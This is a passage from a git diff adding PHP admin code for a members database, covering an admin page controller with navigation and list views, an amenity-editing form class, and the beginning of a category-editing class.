+       //      {{{     homePage()
+
+    /**
+     * Call the search box wich is what we will use to populate the home page
+     * 
+     * @return string Members search box
+     * @access public
+     */
+       function homePage()
+       {
+               $search = new Toolkit_Members_Admin_Search($this->dbh,
+                                                   'record_search',
+                                                   'get',
+                                                   BASE_URL . 'admin/members.php?cat=2&subCat=1',
+                                                   '',
+                                                   null,
+                                                   true);
+        $search->configureForm($this->config);
+               return $search->toHtml();
+       }
+
+       //      }}}
+
+    //  {{{ initSession()
+
+    /**
+     * Initializes a session so we can track search results
+     * 
+     * Allows us to provide links back to search results when a user
+     * is editing member records
+     *
+     * @return void
+     * @access public
+     */
+    public function initSession()
+    {
+        HTTP_Session2::useCookies(false);
+        HTTP_Session2::start('MemberDB');
+    }
+
+    //  }}}
+
+       //      {{{     listAmenities()
+
+    /**
+     * Lists all the amenities available to members
+     * 
+     * @return string    list of available amenities
+     * @access protected
+     */
+       protected function listAmenities()
+       {
+               $amenityList = new Toolkit_Members_Admin_ListAmenities($this->dbh);
+               return $amenityList->renderAmenities();
+       }
+
+       //      }}}
+       //      {{{     listCategories()
+       
+    /**
+     * Lists all available categories that admin can assign to members
+     * 
+     * @return string    tree structure of member categories in db
+     * @access protected
+     */
+       protected function listCategories()
+       {
+               $categoryList = new Toolkit_Members_Admin_ListCategories($this->dbh);
+               return $categoryList->renderCategories();
+       }
+
+       //      }}}
+       //      {{{     listCities()
+
+    /**
+     * Lists available cities that members can choose from
+     * 
+     * @return string    HTML list of available cities
+     * @access protected
+     */
+       protected function listCities()
+       {
+               $cityList = new Toolkit_Members_Admin_ListCities($this->dbh);
+               return $cityList->renderCities();
+       }
+
+       //      }}}
+       //      {{{     listCounties()
+
+    /**
+     * Lists available counties that members can choose from
+     * 
+     * @return string    HTML list of available counties
+     * @access protected
+     */
+       protected function listCounties()
+       {
+        die('not finished');
+               $countyList = new Toolkit_Members_Admin_ListCounties($this->dbh);
+               return $countyList->renderCounties();
+       }
+
+       //      }}}
+       //      {{{     listHtmlEmails()
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @return string    Return description (if any) ...
+     * @access protected
+     */
+       protected function listHtmlEmails()
+       {
+               $emailList = new Toolkit_Members_Admin_ListHtmlEmails($this->dbh);
+               return $emailList->renderHtmlEmails();
+       }
+
+       //      }}}
+       //      {{{     listMembers()
+       
+    /**
+     * Data Grid of members in the db
+     * 
+     * @return string    Search box for members and datagrid list of members
+     * @access protected
+     */
+       protected function listMembers()
+       {
+        HTTP_Session2::set('newSearch', true);
+               $search = new Toolkit_Members_Admin_Search($this->dbh,
+                                                   'record_search',
+                                                                                                  'get',
+                                                                                                  '',
+                                                                                                  '',
+                                                                                                  null,
+                                                                                                  true);
+
+        $search->configureForm($this->config);
+
+               $membersList = new Toolkit_Members_Admin_ListMembers($this->dbh, 50);
+        if ($_GET['d'] == 't' && ctype_digit((string) $_GET['id'])) {
+            $membersList->removeMember($_GET['id']);
+        }
+        $membersList->setQuery($this->config);
+        $membersList->setDefaultSort(array('sort_field' => 'ASC'));
+
+        //  rendering engine to use
+        $rEngine = new Structures_DataGrid_Renderer_Flexy();
+        //  template options to use for template engine
+        $tplOpts = Toolkit_Members::getFlexyOptions();
+        //  templating engine to use
+        $tEngine = new HTML_Template_Flexy($tplOpts);
+        $rEngine->setContainer($tEngine);
+
+               return $search->toHtml() . $membersList->toHtml($rEngine);
+       }
+
+       //      }}}
+       //      {{{     listNewMemberRequests()
+
+    /**
+     * Create a datagrid of new member requests that need to be approved
+     * 
+     * @return string    HTML Datagrid of new member requests
+     * @access protected
+     */
+       protected function listNewMemberRequests()
+       {
+               $nmr = new Toolkit_Members_Admin_ListNewRequests($this->dbh);
+        $nmr->setQuery();
+        $nmr->setDefaultSort(array('member_name' => 'ASC'));
+
+        //  rendering engine to use
+        $rEngine = new Structures_DataGrid_Renderer_Flexy();
+        //  template options to use for template engine
+        $tplOpts = Toolkit_Members::getFlexyOptions();
+        //  templating engine to use
+        $tEngine = new HTML_Template_Flexy($tplOpts);
+        $rEngine->setContainer($tEngine);
+
+               return $nmr->toHtml($rEngine);
+       }
+
+       //      }}}
+       //      {{{     listRegions()
+
+    /**
+     * Render and output the regions
+     * 
+     * @return string    html page of the regions
+     * @access protected
+     */
+       protected function listRegions()
+       {
+               $regionList = new Toolkit_Members_Admin_ListRegions($this->dbh);
+               return $regionList->renderRegions();
+       }
+
+       //      }}}
+       //      {{{     listReports()
+
+    /**
+     * fetch the member reports list
+     * 
+     * @return string html string of member reports
+     * @access public
+     */
+    public function listReports()
+    {
+        //  rendering engine to use
+        $rEngine = new Structures_DataGrid_Renderer_Flexy();
+        //  template options to use for flexy template engine
+        $tplOpts = Toolkit_Members::getFlexyOptions();
+        //  templating engine to use
+        $tEngine = new HTML_Template_Flexy($tplOpts);
+        $rEngine->setContainer($tEngine);
+
+        if (ctype_digit((string) $_REQUEST['member_id'])) {
+            $detail = new Toolkit_Members_ExposureDetailReports($this->dbh);
+            $detail->setQuery($_REQUEST['member_id']);
+            $detail->setDefaultSort(array('month' => 'desc'));
+
+            $out = $detail->toHtml($rEngine);
+        }
+               $reports = new Toolkit_Members_ExposureReports($this->dbh);
+        $reports->setQuery($_REQUEST['reportMonth']);
+
+        $out .= $reports->toHtml($rEngine);
+               return $out;
+    }
+
+       //      }}}
+       //      {{{     listPendingMembers()
+
+    /**
+     * Datagrid of pending members with updates
+     * 
+     * @return HTML      Data Grid of members with updates to approve
+     * @access protected
+     */
+       protected function listPendingMembers()
+       {
+               $pml =& new Toolkit_Members_Admin_ListPendingMembers($this->dbh);
+        $pml->setQuery();
+        $pml->setDefaultSort(array('member_name' => 'asc'));
+
+        //  rendering engine to use
+        $rEngine = new Structures_DataGrid_Renderer_Flexy();
+        //  template options to use for template engine
+        $tplOpts = Toolkit_Members::getFlexyOptions();
+        //  templating engine to use
+        $tEngine = new HTML_Template_Flexy($tplOpts);
+        $rEngine->setContainer($tEngine);
+
+               return $pml->toHtml($rEngine);
+       }
+
+       //      }}}
+
+    //  {{{ memberScriptsAndStyles()
+
+    /**
+     * Set the styles and scripts for the member pages
+     * 
+     * @param array &$scripts array for scripts on the page
+     * @param array &$styles  array for styles on the page
+     *
+     * @return void     
+     * @access protected
+     */
+    protected function memberScriptsAndStyles(
+        array &$scripts,
+        array &$styles
+    ) {
+        switch ($_GET['subCat']) {
+        //  List Members
+        case 1 :
+            $scripts[] = BASE_URL . 'Toolkit/Members/libjs/member-list.js';
+                       $styles[]  = BASE_URL . 'contactform.css';
+            break;
+
+        //  Edit Member Record
+        case 2 :
+            switch ($_GET['tab']) {
+            //  Member Info
+            case 1 :
+                $scripts[] = BASE_URL . 'fckeditor/fckeditor.js';
+                $scripts[] = BASE_URL . 'Toolkit/Members/libjs/edit-member.js';
+                $scripts[] = GLM_APP_BASE_URL . 'gallery/thickbox-3.1.1.js';
+                $scripts[] = GLM_APP_BASE_URL . 'libjs/cluetip/jquery.cluetip.js';
+                $scripts[] = GLM_APP_BASE_URL . 'libjs/cluetip/lib/jquery.hoverIntent.js';
+                $scripts[] = GLM_APP_BASE_URL . 'libjs/cluetip/lib/jquery.bgiframe.min.js';
+                $styles[] = GLM_APP_BASE_URL . 'gallery/thickbox.css';
+                $styles[] = GLM_APP_BASE_URL . 'libjs/cluetip/jquery.cluetip.css';
+                break;
+
+            //  Member Photos
+            //  Member Packages
+            case 2 :
+            case 3 :
+                $scripts[] = GLM_APP_BASE_URL . 'libjs/jqueryui/1.7.1/ui/jquery-ui-1.7.1.custom.js';
+                $scripts[] = BASE_URL . 'Toolkit/Members/libjs/edit-member-photos.js';
+                break;
+
+            case 4 :
+                $scripts[] = BASE_URL . 'Toolkit/Members/libjs/edit-member-amenities.js';
+                break;
+
+            case 5 :
+                $scripts[] = BASE_URL . 'Toolkit/Members/libjs/edit-member-files.js';
+                break;
+
+            //  Contacts
+            case 6 :
+                $scripts[] = BASE_URL . 'Toolkit/Members/libjs/edit-member-contacts.js';
+                break;
+            }
+            break;
+
+        //  List Pending Member Records
+        case 3 :
+            $scripts[] = BASE_URL . 'Toolkit/Members/libjs/member-pending-list.js';
+            if (is_numeric($_GET['id'])) {
+                $scripts[] = BASE_URL . 'fckeditor/fckeditor.js';
+                $scripts[] = BASE_URL . 'Toolkit/Members/libjs/authorizeChanges.js';
+            }
+            break;
+
+        //  New Member Requests
+        case 4 :
+            $scripts[] = BASE_URL . 'Toolkit/Members/libjs/member-list.js';
+            break;
+
+        // Html Emails 
+        case 8 :
+            break;
+
+        //  List Members
+        default :
+            $scripts[] = BASE_URL . 'Toolkit/Members/libjs/member-list.js';
+                       $styles[]  = BASE_URL . 'contactform.css';
+            break;
+        }
+    }
+
+    //  }}}
+
+    //  {{{ newsletterScriptsAndStyles()
+
+    /**
+     * Set the styles and scripts for the newsletter
+     * 
+     * @param array &$scripts array for scripts on the page
+     * @param array &$styles  array for styles on the page
+     *
+     * @return void     
+     * @access protected
+     */
+    protected function newsletterScriptsAndStyles(
+        array &$scripts,
+        array &$styles
+    ) {
+        $styles[] = BASE_URL . 'member-admin.css';
+        $styles[] = BASE_URL . 'admin/main.css';
+        $styles[] = BASE_URL . 'admin/MContact/banner.css';
+    }
+
+    //  }}}
+    //  {{{ htmlEmailScriptsAndStyles()
+
+    /**
+     * Set the styles and scripts for the newsletter
+     * 
+     * @param array &$scripts array for scripts on the page
+     * @param array &$styles  array for styles on the page
+     *
+     * @return void     
+     * @access protected
+     */
+    protected function htmlEmailScriptsAndStyles(
+        array &$scripts,
+        array &$styles
+    ) {
+        switch ($_GET['subCat']) {
+        case 2 :
+            $scripts[] = BASE_URL . 'fckeditor/fckeditor.js';
+            $scripts[] = BASE_URL . 'Toolkit/Members/libjs/edit-html-email.js';
+            break;
+        }
+    }
+
+    //  }}}
+
+    //  {{{ regionScriptsAndStyles()
+
+    /**
+     * Set the styles and scripts for the region pages
+     * 
+     * @param array &$scripts array for scripts on the page
+     * @param array &$styles  array for styles on the page
+     *
+     * @return void     
+     * @access protected
+     */
+    protected function regionScriptsAndStyles(
+        array &$scripts,
+        array &$styles
+    ) {
+        switch ($_GET['subCat']) {
+        case 2 :
+            $scripts[] = BASE_URL . 'Toolkit/Members/libjs/edit-region.js';
+            break;
+
+        default :
+            break;
+        }
+    }
+
+    //  }}}
+       //      {{{     renderPage()
+
+    /**
+     * Renders the page through flexy rendering engine.
+     * 
+     * @param HTML_Template_Flexy $tEngine Templating engine to use
+     *
+     * @return string HTML page rendered through flexy
+     * @access public
+     */
+       public function renderPage(HTML_Template_Flexy $tEngine)
+       {
+        //  get reference to [listing type] section of config file
+        $config =& $this->config->getItem('section', 'listing type');
+        $pluralDirective =& $config->getItem('directive', 'plural');
+        $pluralType = $pluralDirective->getContent();
+               $pageObject = new stdClass();
+
+               $pageObject->styles = array(
+                       BASE_URL . 'member-admin.css',
+               );
+
+               $pageObject->scripts = array(
+                       GLM_APP_BASE_URL . 'libjs/jquery-1.3.2.min.js',
+               );
+
+        if ($_GET['cat'] == 2) {
+            $this->memberScriptsAndStyles(
+                $pageObject->scripts,
+                $pageObject->styles
+            );
+        } elseif ($_GET['cat'] == 3) {
+            $this->categoryScriptsAndStyles(
+                $pageObject->scripts,
+                $pageObject->styles
+            );
+        } elseif ($_GET['cat'] == 4) {
+            $this->amenityScriptsAndStyles(
+                $pageObject->scripts,
+                $pageObject->styles
+            );
+        } elseif ($_GET['cat'] == 5) {
+            $this->regionScriptsAndStyles(
+                $pageObject->scripts,
+                $pageObject->styles
+            );
+        } elseif ($_GET['cat'] == 6) {
+            $this->cityScriptsAndStyles(
+                $pageObject->scripts,
+                $pageObject->styles
+            );
+        } elseif ($_GET['cat'] == 7) {
+            $this->newsletterScriptsAndStyles(
+                $pageObject->scripts,
+                $pageObject->styles
+            );
+        } elseif ($_GET['cat'] == 8) {
+            $this->htmlEmailScriptsAndStyles(
+                $pageObject->scripts,
+                $pageObject->styles
+            );
+               } else {
+                       $pageObject->styles[]  = BASE_URL . 'contactform.css';
+               }
+
+
+               $pageObject->nav = $this->_getPageNav();
+
+               $function = $this->pageModule;
+               if (method_exists($this, $function)) {
+                       $pageObject->content = $this->$function();
+               } else {
+                       $pageObject->content = $this->homePage();
+               }
+
+        if ($_GET['cat'] == 2 && $_GET['subCat'] == 2) {
+            $pageObject->breadcrumbs = true;
+            $pageObject->listingType = $pluralType;
+            $pageObject->searchResults = HTTP_Session2::get('searchResults');
+        }
+
+               $tEngine->compile($this->_template);
+               return $tEngine->bufferedOutputObject($pageObject);
+       }
+
+       //      }}}
+
+       //      {{{     setupNavSructure()
+
+    /**
+     * Sets up a multi dimensional array used for the nav structure
+     * 
+     * @return mixed  false on sql error. otherwise void
+     * @access public
+     */
+       public function setupNavStructure()
+       {
+        //  get reference to [listing type] section of config file
+        $config =& $this->config->getItem('section', 'listing type');
+        $singularDirective =& $config->getItem('directive', 'singular');
+        $singularType = $singularDirective->getContent();
+        $pluralDirective =& $config->getItem('directive', 'plural');
+        $pluralType = $pluralDirective->getContent();
+
+               try {
+                       $sql = "
+                               SELECT count(*) AS total
+                                 FROM member_updates";
+
+                       $row          = $this->dbh->query($sql)->fetch();
+                       $pendingClass = $row['total'] ? 'hasPending' : '';
+
+                       $sql = "
+                               SELECT count(*) AS total
+                                 FROM member
+                                WHERE new_member";
+
+                       $row      = $this->dbh->query($sql)->fetch();
+                       $newClass = $row['total'] ? 'hasPending' : '';
+
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+               $nav = array(
+                       1 => array('Title' => 'Home', 'url' => BASE_URL . 'admin/members.php', 'desc' => '',),
+                       2 => array(
+                               'Title' => $pluralType,
+                               'url' => BASE_URL . 'admin/members.php?cat=2',
+                               'desc' => "View and edit $pluralType in the database",
+                               'module' => 'listMembers',
+                               'sub' => array(
+                                       21 => array('Title' => "List $pluralType", 'url' => BASE_URL . 'admin/members.php?cat=2&amp;subCat=1', 'desc' => "Show all $pluralType in the database", 'module' => 'listMembers',),
+                                       22 => array('Title' => "Add $singularType Listing", 'url' => BASE_URL . 'admin/members.php?cat=2&amp;subCat=2&amp;tab=1', 'desc' => "Add a $singularType record to the database", 'module' => 'addMember',),
+                                       23 => array('Title' => "Pending $singularType Listing Update", 'url' => BASE_URL . 'admin/members.php?cat=2&amp;subCat=3', 'desc' => "Accept or reject any $singularType record changes", 'module' => ctype_digit((string) $_GET['id']) ? 'authorizeUpdates' : 'listPendingMembers', 'class' => $pendingClass,),
+                                       24 => array('Title' => "New $singularType Requests", 'url' => BASE_URL . 'admin/members.php?cat=2&amp;subCat=4', 'desc' => "Accept or reject any new $singularType requests", 'module' => ctype_digit((string) $_GET['id']) ? 'authorizeNewRequests' : 'listNewMemberRequests', 'class' => $newClass,),
+                                       25 => array('Title' => 'Reports', 'url' => BASE_URL . 'admin/members.php?cat=2&amp;subCat=5', 'desc' => 'View reports on view,detail,or clicks', 'module' => 'listReports'),
+                               ),
+                       ),
+                       3 => array(
+                               'Title' => "$singularType Categories",
+                               'url' => BASE_URL . 'admin/members.php?cat=3',
+                               'desc' => "View and edit $singularType categories",
+                               'module' => 'listCategories',
+                               'sub' => array(
+                                       31 => array('Title' => 'List Categories', 'url' => BASE_URL . 'admin/members.php?cat=3&subCat=1', 'desc' => "Show a list of all $singularType amenities in the databse", 'module' => 'listCategories'),
+                                       32 => array('Title' => 'Add Category', 'url' => BASE_URL . 'admin/members.php?cat=3&subCat=2', 'desc' => "Add a $singularType category to the database", 'module' => 'editCategory'),
+                               ),
+                       ),
+                       4 => array(
+                               'Title' => "Amenities",
+                               'url' => BASE_URL . 'admin/members.php?cat=4',
+                               'desc' => "View and edit $singularType amenities",
+                               'module' => 'listAmenities',
+                               'sub' => array(
+                                       41 => array('Title' => 'List Amenities', 'url' => BASE_URL . 'admin/members.php?cat=4&subCat=1', 'desc' => "Show a list of all $singularType amenities in the database", 'module' => 'listAmenities',),
+                                       42 => array('Title' => 'Add Amenity', 'url' => BASE_URL . 'admin/members.php?cat=4&subCat=2', 'desc' => "Add a $singularType amenity to the database", 'module' => 'editAmenity',),
+                               ),
+                       ),
+                       5 => array(
+                               'Title' => "Regions",
+                               'url' => BASE_URL . 'admin/members.php?cat=5',
+                               'desc' => "View and edit $singularType regions",
+                               'module' => 'listRegions',
+                               'sub' => array(
+                                       51 => array('Title' => 'List Regions', 'url' => BASE_URL . 'admin/members.php?cat=5&subCat=1', 'desc' => "Show a list of all $singularType regions in the database", 'module' => 'listRegions',),
+                                       52 => array('Title' => 'Add Region', 'url' => BASE_URL . 'admin/members.php?cat=5&subCat=2', 'desc' => "Add a $singularType region to the database", 'module' => 'editRegion',),
+                               ),
+                       ),
+                       6 => array(
+                               'Title' => "Cities",
+                               'url' => BASE_URL . 'admin/members.php?cat=6',
+                               'desc' => "View and edit $singularType cities",
+                               'module' => 'listCities',
+                               'sub' => array(
+                                       61 => array('Title' => 'List Cities', 'url' => BASE_URL . 'admin/members.php?cat=6&subCat=1', 'desc' => "Show a list of all $singularType cities in the database", 'module' => 'listCities',),
+                                       62 => array('Title' => 'Add City', 'url' => BASE_URL . 'admin/members.php?cat=6&subCat=2', 'desc' => "Add a $singularType city to the database", 'module' => 'editCity',),
+                               ),
+                       ),
+                       7 => array(
+                               'Title' => "Counties",
+                               'url' => BASE_URL . 'admin/members.php?cat=7',
+                               'desc' => "View and edit $singularType counties",
+                               'module' => 'listCounties',
+                               'sub' => array(
+                                       71 => array('Title' => 'List Counties', 'url' => BASE_URL . 'admin/members.php?cat=7&subCat=1', 'desc' => "Show a list of all $singularType counties in the database", 'module' => 'listCounties',),
+                                       72 => array('Title' => 'Add County', 'url' => BASE_URL . 'admin/members.php?cat=7&subCat=2', 'desc' => "Add a $singularType county to the database", 'module' => 'editCounty',),
+                               ),
+                       ),
+                       8 => array(
+                               'Title' => "Newsletter",
+                               'url' => BASE_URL . 'admin/members.php?cat=8',
+                               'desc' => "Prepare a $singularType newsletter mailing",
+                               'module' => 'listHtmlEmails',
+                               'sub' => array(
+                                       81 => array('Title' => 'HTML Emails', 'url' => BASE_URL . 'admin/members.php?cat=8&subCat=1', 'desc' => 'View and edit HTML email templates to use in the newsletter', 'module' => 'listHtmlEmails',),
+                                       82 => array('Title' => 'Add HTML Email', 'url' => BASE_URL . 'admin/members.php?cat=8&subCat=2', 'desc' => 'View and edit HTML email templates to use in the newsletter', 'module' => 'editHtmlEmail',),
+                                       //83 => array('Title' => $singularType . ' Subscriptions', 'url' => BASE_URL . 'admin/members.php?cat=8&subCat=4', 'desc' => '', 'module' => 'memberSubscriptions',),
+                               ),
+                       ),
+               );
+
+        //  get reference to [conf] section of config file
+        $config =& $this->config->getItem('section', 'conf');
+
+        //  get region
+        $directive =& $config->getItem('directive', 'regions');
+               if (!$directive->getContent()) {
+                       unset($nav[5]);
+               }
+        //  get coupons 
+        $directive =& $config->getItem('directive', 'coupons');
+               if (!$directive->getContent()) {
+                       unset($nav['Coupons']);
+               }
+        //  get controlled cities
+        $directive =& $config->getItem('directive', 'controlledCities');
+               if (!$directive->getContent()) {
+                       unset($nav[6]);
+               }
+        //  get counties
+        $directive =& $config->getItem('directive', 'counties');
+               if (!$directive->getContent()) {
+            unset($nav[7]);
+        }
+        //  get amenities
+        $directive =& $config->getItem('directive', 'amenities');
+               if (!$directive->getContent()) {
+                       unset($nav[4]);
+               }
+
+        //  get new member requests
+        $directive =& $config->getItem('directive', 'newMemberRequests');
+               if (!$directive->getContent()) {
+                       unset($nav[2]['sub']['24']);
+               }
+
+               $this->navStructure = $nav;
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Members/Admin/EditAmenity.php b/Toolkit/Members/Admin/EditAmenity.php
new file mode 100644 (file)
index 0000000..b8859ae
--- /dev/null
@@ -0,0 +1,350 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * Controls Amenity definitions for the member db
+ * 
+ * PHP version 5
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @version   CVS: $Id: EditAmenity.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link      http://demo.gaslightmedia.com
+ */
+
+/**
+ * Handles creating / editing amenities that the members will use
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @link      http://demo.gaslightmedia.com
+ */
+class Toolkit_Members_Admin_EditAmenity
+    extends Toolkit_Members_Auxiliary implements Toolkit_Form
+{
+       //      {{{     properties
+
+    /**
+     * Description for public
+     * @var    string
+     * @access public
+     */
+       public $tableName = 'amenity';
+
+    /**
+     * Description for protected
+     * @var    string   
+     * @access protected
+     */
+       protected $formTemplate = 'editAmenity.tpl';
+
+       //      }}}
+       //      {{{ __construct()
+
+       /**
+        * Class constructor
+        *
+     * @param PDO    $pdo         PHP Data Object
+     * @param string $formName    Form's name.
+     * @param string $method      (optional)Form's method defaults to 'POST'
+     * @param string $action      (optional)Form's action
+     * @param string $target      (optional)Form's target defaults to '_self'
+     * @param mixed  $attributes  (optional)Extra attributes for <form> tag
+     * @param bool   $trackSubmit (optional)Whether to track if the form was
+        *                                                        submitted by adding a special hidden field
+        * 
+        * @access public
+        */
+       public function __construct(
+        PDO $pdo,
+        $formName,
+        $method = 'post',
+        $action = '',
+        $target = '',
+        $attributes = null,
+        $trackSubmit = false
+    ) {
+               parent::__construct(
+            $formName,
+            $method,
+            $action,
+            $target,
+            $attributes,
+            $trackSubmit
+        );
+
+        $this->dbh = $pdo;
+       }
+
+       //      }}}
+
+       //      {{{ checkAmenityName()
+
+    /**
+     * Check that the amenity name is not in use already
+     * 
+     * @param string $name name to check
+     *
+     * @return boolean if the name is valid or not
+     * @access public 
+     */
+       public function checkAmenityName($name)
+       {
+               try {
+                       //      If we're editing a amenity, they
+                       //      can save that amenity as its
+                       //      own name. so don't include that
+                       //      amenity in the check.
+                       if (isset($_GET['id'])) {
+                               $and = "AND amenity_id != :id";
+                       }
+                       $sql = "
+                SELECT count(*) AS total
+                  FROM {$this->tableName}
+                 WHERE amenity_name = :name
+                                 $and";
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':name', $name, PDO::PARAM_STR);
+                       if (isset($_GET['id'])) {
+                               $stmt->bindParam(':id', $_GET['id'], PDO::PARAM_STR);
+                       }
+                       $stmt->execute();
+            $stmt->bindColumn('total', $total);
+                       $stmt->fetch();
+
+                       return !(bool) $total;
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+       
+       //      }}}
+       //      {{{ configureDefaults()
+
+    /**
+     * Set up the default values for the form
+     * 
+     * @return void     
+     * @access public
+     */
+       public function configureDefaults()
+       {
+        $d = array();
+
+               if (isset($_GET['id'])) {
+                       try {
+                               $sql = "
+                                       SELECT *
+                                         FROM {$this->tableName}
+                                        WHERE amenity_id = :id";
+                               $stmt = $this->dbh->prepare($sql);
+                               $stmt->bindParam(':id', $_GET['id'], PDO::PARAM_INT);
+                               $stmt->execute();
+                               $d = $stmt->fetch();
+                       } catch (PDOException $e) {
+                               $this->handleError($e);
+                       }
+               }
+
+               $this->setupDefaults($d);
+       }
+
+       //      }}}
+       //      {{{ configureElements()
+
+    /**
+     * Form element definitions
+     * 
+     * @return void     
+     * @access public
+     */
+       public function configureElements()
+       {
+               $e = array();
+               //      All Grouped Elements are created here.
+
+               //      All Elements are created here.
+               //      This includes group element definitions.
+               $e[] = array(
+                       'type'    => 'header',
+                       'req'     => false,
+                       'name'    => 'AmenityInfoHdr',
+                       'display' => 'Member Amenities'
+               );
+               $e[] = array(
+                       'type'    => 'advcheckbox',
+                       'req'     => false,
+                       'name'    => 'display_form',
+                       'display' => 'Display on Form',
+                       'val'     => array(0, 1)
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => true,
+                       'name'    => 'amenity_name',
+                       'display' => 'Amenity Name'
+               );
+
+               $this->setupElements($e);
+       }
+
+       //      }}}
+    //  {{{ configureForm()
+    
+    /**
+     * Helper function to configure an entire form
+     *
+     * @return void
+     * @access public
+     */
+    public function configureForm()
+    {
+        $this->configureElements();
+        $this->configureRules();
+        $this->configureDefaults();
+    }
+
+    //  }}}
+       //      {{{ configureRules()
+
+    /**
+     * Form rule definitions
+     * 
+     * @return void     
+     * @access public
+     */
+       public function configureRules()
+       {
+        $r = array();
+
+               $r[] = array(
+            'element' => 'amenity_name',
+            'message' => 'ERROR: Amenity already exists!',
+            'type' => 'callback',
+            'format' => array($this, 'checkAmenityName'),
+            'validation' => $this->validationType,
+            'reset' => false,
+            'force' => false
+        );
+
+               $this->setupRules($r);
+       }
+
+       //      }}}
+
+       //      {{{ deleteAmenity()
+
+    /**
+     * Remove a region from the db
+     * 
+     * @param integer $id region id
+     *
+     * @return boolean result of db query
+     * @access protected
+     */
+       protected function deleteAmenity($id)
+       {
+        if (!is_numeric($id)) {
+            return false;
+        }
+               try {
+                       $sql = "
+                               DELETE FROM {$this->tableName}
+                                WHERE amenity_id = :id";
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':id', $id, PDO::PARAM_INT);
+
+                       return $stmt->execute();
+               } catch (PDOException $e) {
+                       Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+
+       //      {{{ insertData()
+
+    /**
+     * Create a new amenity
+     * 
+     * @param array $values Submitted form values
+     *
+     * @return boolean Result of insertion into DB
+     * @access protected
+     */
+       protected function insertData($values)
+       {
+        $sql = Toolkit_Common::createSQLInsert(
+            $this->tableName,
+            array_keys($values)
+        );
+        try {
+            return Toolkit_Common::processQuery($this->dbh, $sql, $values);
+        } catch (PDOException $e) {
+            return Toolkit_Common::handleError($e);
+        }
+       }
+
+       //      }}}
+
+       //      {{{ updateData()
+
+    /**
+     * Update the data for an amenity
+     * 
+     * @param array $values submitted form results
+     *
+     * @return boolean result of sql update query
+     * @access protected
+     */
+       protected function updateData($values)
+       {
+               //      We aren't updating a region, we're deleting it.
+               if (array_key_exists('delete', $values)) {
+                       return $this->deleteAmenity($_GET['id']);
+               }
+
+        $sql = Toolkit_Common::createSQLUpdate(
+            $this->tableName,
+            array_keys($values),
+            array('amenity_id = :id')
+        );
+        
+        $values['id'] = $_GET['id'];
+        try {
+            return Toolkit_Common::processQuery($this->dbh, $sql, $values);
+        } catch (PDOException $e) {
+            return Toolkit_Common::handleError($e);
+        }
+       }
+
+       //      }}}
+
+       //      {{{ toHTML()
+
+       /**
+        * Renders the form for viewing
+        *
+        * This function validates the form if needed, and if it successfully
+        * validates attempts to insert or update the data record.
+        * If it is unsuccessful, it will return an error to the user
+        * informing them of what went wrong.
+        *
+        * @return string The compiled and filled form template.
+        * @access public
+        */
+       public function toHtml()
+       {
+               $listPage = BASE_URL . 'admin/members.php?cat=4&subCat=1';
+               return parent::toHtml($listPage);
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Members/Admin/EditCategory.php b/Toolkit/Members/Admin/EditCategory.php
new file mode 100644 (file)
index 0000000..863d3b2
--- /dev/null
@@ -0,0 +1,484 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * File Doc Comment
+ *
+ * PHP version 5
+ *
+ * @category MembersDB
+ * @package  Toolkit_Members
+ * @author   Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @license     http://www.gaslightmedia.com Gaslightmedia
+ * @version  CVS: $Id: EditCategory.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link        http://demo.gaslightmedia.com
+ */
+
+/**
+ * Edit categories used within the member database
+ *
+ * Controls all aspects of creating and rendering the form used to manipulate
+ * the member categories.  Handles both adding / editing category
+ * details, including:
+ *
+ * 1. Modules associated with a category.
+ * 2. Updating sub-categories to mirror parent category module settings.
+ * 3. Removal of top level categories that contain sub-level categories.
+ *             see (deleteCategory())
+ *
+ * Once categories are added, they are not allow to be moved to another parent.
+ * This keeps the updating to a minimum and elminates logic that would be
+ * caused by this move: (maintaining category-module settings after the move).
+ *
+ * @category  MembersDB
+ * @package      Toolkit_Members
+ * @author       Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2008 Gaslight media
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @link         http://demo.gaslightmedia.com
+ * @see                  Toolkit_Members, member_admin
+ */
+
+class Toolkit_Members_Admin_EditCategory
+    extends Toolkit_Members_Auxiliary implements Toolkit_Form
+{
+       //      {{{ properties
+
+       /**
+        * The table name in the database used to store the data of the categories
+        *
+        * @var string
+        * @access public
+        */
+       public $tableName = 'category';
+
+       /**
+        * The template used to render the form
+        *
+        * @var string
+        * @access protected
+        */
+       protected $formTemplate = 'editCategory.tpl';
+
+       //      }}}
+       //      {{{ __construct()
+
+       /**
+        * Class constructor
+        *
+     * @param PDO    $pdo         PHP Data Object
+     * @param string $formName    Form's name.
+     * @param string $method      (optional)Form's method defaults to 'POST'
+     * @param string $action      (optional)Form's action
+     * @param string $target      (optional)Form's target defaults to '_self'
+     * @param mixed  $attributes  (optional)Extra attributes for <form> tag
+     * @param bool   $trackSubmit (optional)Whether to track if the form was
+        *                                                        submitted by adding a special hidden field
+        *
+        * @access public
+        */
+       public function __construct(
+        PDO $pdo,
+        $formName,
+        $method = 'post',
+        $action = '',
+        $target = '',
+        $attributes = null,
+        $trackSubmit = false
+    ) {
